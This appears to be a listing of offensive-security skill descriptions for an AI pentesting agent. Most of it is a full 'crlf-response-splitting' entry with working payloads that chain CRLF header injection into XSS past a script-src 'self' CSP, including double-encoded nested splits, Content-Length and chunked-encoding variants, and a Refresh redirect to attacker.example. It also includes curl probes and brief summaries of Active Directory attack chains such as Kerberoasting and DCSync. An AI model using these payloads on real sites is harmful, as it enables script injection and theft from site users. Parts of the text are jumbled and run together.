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Nested response splitting to bypass strict CSP via CRLF injection. Turns header injection into XSS even when script-src is self only. Use when CRLF injection is confirmed in response headers and CSP blocks inline or external scripts.
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Based on SOC occupation classification
Use when beginning a web assessment from a domain, wildcard, ASN, organization, IP list, or CIDR and measurable attack-surface coverage is needed.
Decision tree for selecting AIRT attacks based on goals, target type, and constraints
Common Active Directory attack chains with tool mappings. Covers Kerberoasting, AS-REP roasting, RBCD, AD CS, DCSync, relay attacks, and credential reuse patterns. Use during exploitation and privilege escalation phases.
Decision tree for Active Directory enumeration. Maps enumeration tasks to tools, defines priority signals, and specifies what findings trigger deeper investigation. Use during the enumeration phase of network operations.
Load when performing network operations or Active Directory exploitation. Enforces enumeration-before-attack discipline, credential verification, trust boundary awareness, scope compliance, reversibility preference, and structured reporting. Prevents premature exploitation, credential misuse, and scope violations.
Direct Caido interaction via the caido-sdk-client Python library, bypassing the Caido MCP server. Prefer this over the caido-proxy MCP skill for efficiency WHEN the SDK is importable in the current runtime. If the import fails, or Caido/the MCP is not loaded, fall back to the caido-proxy skill.
| name | crlf-response-splitting |
| description | Nested response splitting to bypass strict CSP via CRLF injection. Turns header injection into XSS even when script-src is self only. Use when CRLF injection is confirmed in response headers and CSP blocks inline or external scripts. |
Content-Type or Location\r\n\r\n and split the response bodyUse one CRLF-injectable endpoint to return HTML and load a second same-origin CRLF-injectable endpoint as JavaScript.
Outer split: <script src="/vuln-endpoint?type=text/javascript%0d%0a%0d%0aalert(origin)//PADDING">
Inner split: response with Content-Type: text/javascript and body alert(origin)
The nested request is same-origin, so script-src 'self' permits execution.
Inject a shorter Content-Length in the nested response:
Content-Length: 13\r\n\r\nalert(origin)
For HTTP/1.1 targets:
Transfer-Encoding: chunked\r\n\r\nd\r\nalert(origin)\r\n0\r\n\r\n
Pad the payload with a JavaScript comment and filler bytes:
alert(origin)//AAAAAAAAAAAA
/endpoint?param=text/html%0d%0a%0d%0a<script+src="/endpoint?param=text/javascript%250d%250a%250d%250aalert(origin)"></script>
Double-encode the nested CRLF bytes so they survive the first parse.
Return JavaScript as text/javascript with a body containing the payload.
If you can inject only one CRLF and not split the body, useful follow-on headers include:
Referrer-Policy: unsafe-urlRefresh: 0;url=https://attacker.example# Test for CRLF injection in headers
curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected"
# Compare %0d%0a vs %0a behavior
curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected"
Checkpoint: If X-Injected appears in response headers with %0d%0a but not with %0a alone, CRLF injection is confirmed. Check CSP with curl -sD- URL | rg -i "content-security-policy" to determine if nested splitting is needed.
web-cache-deception-pathnextjs-cache-poisoningparser-differential-bypass